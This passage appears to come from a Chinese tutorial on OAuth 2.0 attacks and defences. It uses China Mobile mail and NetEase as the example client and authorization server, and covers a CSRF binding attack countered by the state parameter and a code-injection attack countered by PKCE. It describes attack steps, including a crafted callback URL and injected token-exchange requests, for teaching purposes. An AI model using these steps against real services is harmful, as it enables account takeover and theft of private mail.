攻击者构造回调 URL:https://10086.com/oauth/login-by-code/callback?code=codeH。 - 受害者触发请求:
攻击者诱导受害者点击该 URL。受害者浏览器向中国移动后端发起 GET 请求,请求头携带受害者的 Cookie/Session (accesstoken-yidong),URL 参数携带攻击者的codeH。 - 后端令牌交换(关键漏洞点):
中国移动后端鉴权发现当前用户为受害者,随即向网易 AS 发起令牌交换请求,参数包含:
client_id&client_secret(中国移动的凭证)grant_type="authorization_code"code=codeH(攻击者的授权码)redirect_uri
- 绑定完成:
网易 AS 验证通过(codeH有效且未过期),返回as_accesstoken(指向攻击者的网易资源)和refresh_token。中国移动后端将该as_accesstoken与当前登录的受害者账户建立数据库映射关系。
2. 攻击危害
虽然受害者仍使用自己的移动账号,但因绑定关系被篡改,导致以下后果:
- 数据逆向泄露(写权限滥用): 若客户端执行“备份数据到网易”操作,受害者的私密数据(邮件、通讯录)将利用
as_accesstoken上传至攻击者的网易网盘/邮箱,造成隐私泄露。 - 账号接管(登录劫持): 若客户端支持“使用网易账号登录”,攻击者在登录页选择网易登录,输入攻击者的网易账号。客户端后端根据绑定关系,匹配到受害者的移动账户,使攻击者成功接管受害者账户。
3. 防御方案:State 参数校验
为防止 CSRF 攻击,必须引入 state 参数以确保请求周期的连贯性与一致性。
防御流程:
- 生成与存储(Client 端):
当用户发起授权请求时,中国移动后端生成一个随机不可预测的字符串(如state=random_xyz),将其写入当前用户的 Session/Cookie 中,并将state作为参数发送给网易 AS。 - 透传(AS 端):
网易 AS 仅做参数透传,在回调时将state=random_xyz原样附加在回调 URL 中。 - 校验(Client 端):
当中国移动后端接收到回调请求时,执行严格的比对逻辑:
- 读取 A:URL 参数中的
state。 - 读取 B:受害者浏览器 Session/Cookie 中存储的
state。 - 判定:若 A ≠ B(或 B 为空),则视为非法请求,拒绝执行
code换取 Token 的操作。
攻击防御实效:
在上述攻击场景中,攻击者构造的链接携带的是攻击者的 state(或无 state),而受害者的 Session 中存储的是受害者自己的 state(或无 state)。移动后端查数据库accesstoken是用户zhangsan的,其state=zhangsan,而不是传来的state=hacker,因此返回。又由于浏览器的同源策略,攻击者无法篡改受害者的 Session,导致后端比对失败,从而成功阻断攻击。
流程图
授权码注入攻击与PKCE
1. 攻击原理与流程复盘
场景预设:
- 客户端(Client):中国移动邮箱。
- 授权服务器(AS):网易授权服务器。
- 攻击者(Attacker):拥有自己的移动邮箱账号。
- 受害者(Victim):拥有自己的移动邮箱账号和网易账号。
- 前提:攻击者已通过某种手段(如恶意插件、系统漏洞或不安全的重定向)具备了拦截或窃取受害者 URL 参数的能力。
攻击步骤详情:
-
受害者发起授权与窃取:
受害者登录中国移动邮箱,点击“代收网易邮件”。受害者跳转至网易 AS 前端完成登录并授权。网易 AS 后端生成属于受害者的授权码codeS。此时,攻击者利用漏洞拦截该响应,窃取codeS,并阻断受害者浏览器向中国移动前端/后端发送该 Code,导致受害者的正常流程中断。 -
攻击者开启恶意流程:
攻击者在自己的浏览器登录攻击者的移动邮箱账号,并发起绑定网易邮箱请求。移动客户端后端生成属于攻击者会话的state=state_hacker(若有)。 -
授权码注入:
用code换as_accesstoken阶段,攻击者不使用网易返回给自己的授权码,而是手动构造请求发给移动服务器后端:/token?code=codeS。关键点在于,攻击者是在自己的登录会话(accesstoken=accesstokenH)中发送此请求,并附带自己会话合法的state=state_hacker。 -
后端校验穿透:
中国移动后端接收请求,校验发现:- 当前登录用户是攻击者(合法)。
- 传入的
state与攻击者 Session 中的state一致(合法)。 - 后端无法识别
codeS到底是谁申请的,只将其视为一个待验证的字符串。
-
令牌交换与错误绑定:
中国移动后端携带codeS、client_id、client_secret向网易 AS 请求令牌。网易 AS 验证codeS有效,返回对应的as_accesstoken(指向受害者的网易资源)。中国移动后端将该 Token 绑定到当前登录的攻击者账户下。
2. 攻击危害
- 资源窃取: 攻击者登录自己的中国移动邮箱,即可直接查看、操作受害者的网易邮件内容。受害者对此毫无感知,因为受害者的移动账号并未发生异常,而是受害者的网易权限被“嫁接”到了黑客账号上。
3. 防御方案:PKCE (Proof Key for Code Exchange)
传统的 state 参数无法完全防御此攻击,因为攻击者使用的是自己会话中合法的 state。必须使用 PKCE 协议来确保“发起授权请求的设备”与“使用授权码兑换令牌的设备”是同一个。
1. 核心防御逻辑
PKCE 的核心在于将发起授权请求(第一步)与兑换令牌请求(最后一步)通过密码学手段强制绑定,PKCE的生命周期与用户请求的生命周期一致,一旦完成授权PKCE就会被清理。
- PKCE 原值:术语为
code_verifier(随机生成的密钥)。 - PKCE 哈希:术语为
code_challenge(密钥的指纹)。
2. 防御流程详解
假设黑客试图进行注入攻击,以下是系统内部发生的“隐形对抗”:
阶段一:受害者的正常流程
- 生成 Verifier (V):受害者登录移动邮箱,移动后端生成随机字符串
code_verifier_V,并将其存储在受害者的 Session 中(可能是redis)。 - 生成 Challenge (V):移动后端计算
code_challenge_V = SHA256(code_verifier_V)。 - 发送授权请求:受害者浏览器跳转至网易 AS,参数携带
code_challenge_V。 - AS 记录状态:网易 AS 生成
codeS,并在数据库中将codeS与code_challenge_V强行绑定。 - 拦截:黑客通过手段窃取了
codeS,并阻断了受害者的后续请求。
阶段二:黑客的伪造流程
- 黑客登录:黑客登录自己的移动邮箱账号。
- 生成 Verifier (H):移动后端为了黑客的这次操作,生成了全新的随机字符串
code_verifier_H,并存储在黑客的 Session 中(注意:后端并不知道黑客要干坏事,这是正常逻辑)。
阶段三:注入与拦截
-
注入 Code:黑客手动构造请求,将受害者的
codeS发送给移动后端。 -
后端发起交换:移动后端识别当前登录用户是黑客,于是从黑客的 Session 中取出
code_verifier_H。移动后端向网易 AS 发送请求:code=codeS(受害者的)code_verifier=code_verifier_H(黑客的)
-
AS 终极校验:
- 网易 AS 收到
codeS,查库发现它绑定的是code_challenge_V。 - 网易 AS 计算收到参数的哈希值:
SHA256(code_verifier_H)。 - 比对:结果:校验失败,拒绝颁发 Token。
- 网易 AS 收到
流程图
3. 为什么黑客无法破解
你可能会问:黑客能不能拿到受害者的 code_verifier_V 呢?
- 隔离性:
code_verifier_V存储在移动邮箱的后端服务器 Session 中。除非黑客攻破了移动邮箱的服务器数据库(那是另一个层面的安全事故了),否则黑客作为一个外部用户,永远无法接触到其他用户的 Session 数据。并且移动服务器向网易授权服务器传参code_verifier与前端传给移动服务器什么参数无关,只跟当前登录用户有关,因此移动服务器传参的code_verifier只能是黑客自己的,不可能是受害者的,除非黑客能该移动服务器代码。 - 单向性:即使黑客在第一步截获了 URL 中的
code_challenge_V,由于哈希算法(SHA256)是不可逆的,黑客无法通过challenge反推出verifier。
更多推荐

所有评论(0)